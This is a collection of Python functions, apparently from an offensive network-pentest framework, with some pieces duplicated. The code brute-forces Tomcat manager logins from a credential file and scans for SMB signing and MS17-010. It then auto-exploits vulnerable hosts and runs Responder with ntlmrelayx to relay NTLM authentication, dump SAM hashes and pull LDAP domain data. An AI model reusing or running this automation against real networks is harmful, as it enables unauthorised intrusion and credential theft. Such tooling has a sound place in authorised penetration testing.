def main(): """ Checks the arguments to brutefore and spawns greenlets to perform the bruteforcing. """ services = ServiceSearch() argparse = services.argparser argparse.add_argument('-f', '--file', type=str, help="File") arguments = argparse.parse_args() if not arguments.file: print_error("Please provide a file with credentials seperated by ':'") sys.exit() services = services.get_services(search=["Tomcat"], up=True, tags=['!tomcat_brute']) credentials = [] with open(arguments.file, 'r') as f: credentials = f.readlines() for service in services: print_notification("Checking ip:{} port {}".format(service.address, service.port)) url = 'http://{}:{}/manager/html' gevent.spawn(brutefore_passwords, service.address, url.format(service.address, service.port), credentials, service) service.add_tag('tomcat_brute') service.update(tags=service.tags) gevent.wait() # TODO fix stats Logger().log("tomcat_brute", "Performed tomcat bruteforce scan", {'scanned_services': len(services)})
def nmap_smb_vulnscan(): """ Scans available smb services in the database for smb signing and ms17-010. """ service_search = ServiceSearch() services = service_search.get_services(ports=['445'], tags=['!smb_vulnscan'], up=True) services = [service for service in services] service_dict = {} for service in services: service.add_tag('smb_vulnscan') service_dict[str(service.address)] = service nmap_args = "-Pn -n --disable-arp-ping --script smb-security-mode.nse,smb-vuln-ms17-010.nse -p 445".split( " ") if services: result = nmap(nmap_args, [str(s.address) for s in services]) parser = NmapParser() report = parser.parse_fromstring(result) smb_signing = 0 ms17 = 0 for nmap_host in report.hosts: for script_result in nmap_host.scripts_results: script_result = script_result.get('elements', {}) service = service_dict[str(nmap_host.address)] if script_result.get('message_signing', '') == 'disabled': print_success("({}) SMB Signing disabled".format( nmap_host.address)) service.add_tag('smb_signing_disabled') smb_signing += 1 if script_result.get('CVE-2017-0143', {}).get('state', '') == 'VULNERABLE': print_success("({}) Vulnerable for MS17-010".format( nmap_host.address)) service.add_tag('MS17-010') ms17 += 1 service.update(tags=service.tags) print_notification( "Completed, 'smb_signing_disabled' tag added to systems with smb signing disabled, 'MS17-010' tag added to systems that did not apply MS17-010." ) stats = { 'smb_signing': smb_signing, 'MS17_010': ms17, 'scanned_services': len(services) } Logger().log( 'smb_vulnscan', 'Scanned {} smb services for vulnerabilities'.format( len(services)), stats) else: print_notification("No services found to scan.")
def exploit(self): """ Starts the exploiting phase, you should run setup before running this function. if auto is set, this function will fire the exploit to all systems. Otherwise a curses interface is shown. """ search = ServiceSearch() host_search = HostSearch() services = search.get_services(tags=['MS17-010']) services = [service for service in services] if len(services) == 0: print_error("No services found that are vulnerable for MS17-010") return if self.auto: print_success("Found {} services vulnerable for MS17-010".format( len(services))) for service in services: print_success("Exploiting " + str(service.address)) host = host_search.id_to_object(str(service.address)) system_os = '' if host.os: system_os = host.os else: system_os = self.detect_os(str(service.address)) host.os = system_os host.save() text = self.exploit_single(str(service.address), system_os) print_notification(text) else: service_list = [] for service in services: host = host_search.id_to_object(str(service.address)) system_os = '' if host.os: system_os = host.os else: system_os = self.detect_os(str(service.address)) host.os = system_os host.save() service_list.append({ 'ip': service.address, 'os': system_os, 'string': "{ip} ({os}) {hostname}".format(ip=service.address, os=system_os, hostname=host.hostname) }) draw_interface(service_list, self.callback, "Exploiting {ip} with OS: {os}")
def import_nmap(result, tag, check_function=all_hosts, import_services=False): """ Imports the given nmap result. """ host_search = HostSearch(arguments=False) service_search = ServiceSearch() parser = NmapParser() report = parser.parse_fromstring(result) imported_hosts = 0 imported_services = 0 for nmap_host in report.hosts: if check_function(nmap_host): imported_hosts += 1 host = host_search.id_to_object(nmap_host.address) host.status = nmap_host.status host.add_tag(tag) if nmap_host.os_fingerprinted: host.os = nmap_host.os_fingerprint if nmap_host.hostnames: host.hostname.extend(nmap_host.hostnames) if import_services: for service in nmap_host.services: imported_services += 1 serv = Service(**service.get_dict()) serv.address = nmap_host.address service_id = service_search.object_to_id(serv) if service_id: # Existing object, save the banner and script results. serv_old = Service.get(service_id) if service.banner: serv_old.banner = service.banner # TODO implement # if service.script_results: # serv_old.script_results.extend(service.script_results) serv_old.save() else: # New object serv.address = nmap_host.address serv.save() if service.state == 'open': host.open_ports.append(service.port) if service.state == 'closed': host.closed_ports.append(service.port) if service.state == 'filtered': host.filtered_ports.append(service.port) host.save() if imported_hosts: print_success("Imported {} hosts, with tag {}".format( imported_hosts, tag)) else: print_error("No hosts found") return {'hosts': imported_hosts, 'services': imported_services}
def main(): services = ServiceSearch() arg = argparse.ArgumentParser(parents=[services.argparser], conflict_handler='resolve') arg.add_argument('-c', '--count', help="Only show the number of results", action="store_true") arguments = arg.parse_args() if arguments.count: print_line("Number of services: {}".format(services.argument_count())) else: response = services.get_services() for hit in response: print_json(hit.to_dict(include_meta=True))
def __init__(self, interface_name, ldap, auto_exit, *args, **kwargs): self.config = Config() self.directory = os.path.join(self.config.config_dir, 'relaying') self.output_file = os.path.join(self.directory, 'hashes') if not os.path.exists(self.directory): os.makedirs(self.directory) self.targets_file = os.path.join(self.directory, 'targets.txt') self.interface_name = interface_name self.search = ServiceSearch(use_pipe=False) self.ips = [] self.ldap_strings = [] self.ldap = ldap self.relay = None self.responder = None self.notifier = None self.processed_files = [] self.domain_groups_file = '' self.domain_users_file = '' self.auto_exit = auto_exit
def main(): """ Retrieves services starts check_service in a gevent pool of 100. """ search = ServiceSearch() services = search.get_services(up=True, tags=['!header_scan']) print_notification("Scanning {} services".format(len(services))) # Disable the insecure request warning urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning) pool = Pool(100) count = 0 for service in services: count += 1 if count % 50 == 0: print_notification("Checking {}/{} services".format( count, len(services))) pool.spawn(check_service, service) pool.join() print_notification( "Completed, 'http' tag added to services that respond to http, 'https' tag added to services that respond to https." )
class Spoofing(object): """ Spoofing class Will start relaying to ldap and smb targets. After the domaindump is done the ldap targets are removed. After a secretsdump is performed on a target, that target is removed from the targets list. If auto_exit is turned on, this program will exit after the targets list is empty. """ def __init__(self, interface_name, ldap, auto_exit, *args, **kwargs): self.config = Config() self.directory = os.path.join(self.config.config_dir, 'relaying') self.output_file = os.path.join(self.directory, 'hashes') if not os.path.exists(self.directory): os.makedirs(self.directory) self.targets_file = os.path.join(self.directory, 'targets.txt') self.interface_name = interface_name self.search = ServiceSearch(use_pipe=False) self.ips = [] self.ldap_strings = [] self.ldap = ldap self.relay = None self.responder = None self.notifier = None self.processed_files = [] self.domain_groups_file = '' self.domain_users_file = '' self.auto_exit = auto_exit def load_targets(self): """ load_targets will load the services with smb signing disabled and if ldap is enabled the services with the ldap port open. """ ldap_services = [] if self.ldap: ldap_services = self.search.get_services(ports=[389]) self.ldap_strings = [ "ldap://{}".format(service.address) for service in ldap_services ] self.services = self.search.get_services(tags=['smb_signing_disabled']) self.ips = [str(service.address) for service in self.services] def write_targets(self): """ write_targets will write the contents of ips and ldap_strings to the targets_file. """ if len(self.ldap_strings) == 0 and len(self.ips) == 0: print_notification("No targets left") if self.auto_exit: if self.notifier: self.notifier.stop() self.terminate_processes() with open(self.targets_file, 'w') as f: f.write('\n'.join(self.ldap_strings + self.ips)) def start_processes(self): """ Starts the ntlmrelayx.py and responder processes. Assumes you have these programs in your path. """ self.relay = subprocess.Popen([ 'ntlmrelayx.py', '-tf', self.targets_file, '-w', '-l', self.directory, '-of', self.output_file ], cwd=self.directory) self.responder = subprocess.Popen( ['responder', '-I', self.interface_name]) def callback(self, event): """ Function that gets called on each event from pyinotify. """ # IN_CLOSE_WRITE -> 0x00000008 if event.mask == 0x00000008: if event.name.endswith('.json'): print_success("Ldapdomaindump file found") if event.name in ['domain_groups.json', 'domain_users.json']: if event.name == 'domain_groups.json': self.domain_groups_file = event.pathname if event.name == 'domain_users.json': self.domain_users_file = event.pathname if self.domain_groups_file and self.domain_users_file: print_success("Importing users") subprocess.Popen([ 'jk-import-domaindump', self.domain_groups_file, self.domain_users_file ]) elif event.name == 'domain_computers.json': print_success("Importing computers") subprocess.Popen(['jk-import-domaindump', event.pathname]) # Ldap has been dumped, so remove the ldap targets. self.ldap_strings = [] self.write_targets() if event.name.endswith('_samhashes.sam'): host = event.name.replace('_samhashes.sam', '') # TODO import file. print_success("Secretsdump file, host ip: {}".format(host)) subprocess.Popen(['jk-import-secretsdump', event.pathname]) # Remove this system from this ip list. self.ips.remove(host) self.write_targets() def watch(self): """ Watches directory for changes """ wm = pyinotify.WatchManager() self.notifier = pyinotify.Notifier(wm, default_proc_fun=self.callback) wm.add_watch(self.directory, pyinotify.ALL_EVENTS) try: self.notifier.loop() except (KeyboardInterrupt, AttributeError): print_notification("Stopping") finally: self.notifier.stop() self.terminate_processes() def terminate_processes(self): """ Terminate the processes. """ if self.relay: self.relay.terminate() if self.responder: self.responder.terminate() def wait(self): """ This function waits for the relay and responding processes to exit. Captures KeyboardInterrupt to shutdown these processes. """ try: self.relay.wait() self.responder.wait() except KeyboardInterrupt: print_notification("Stopping") finally: self.terminate_processes()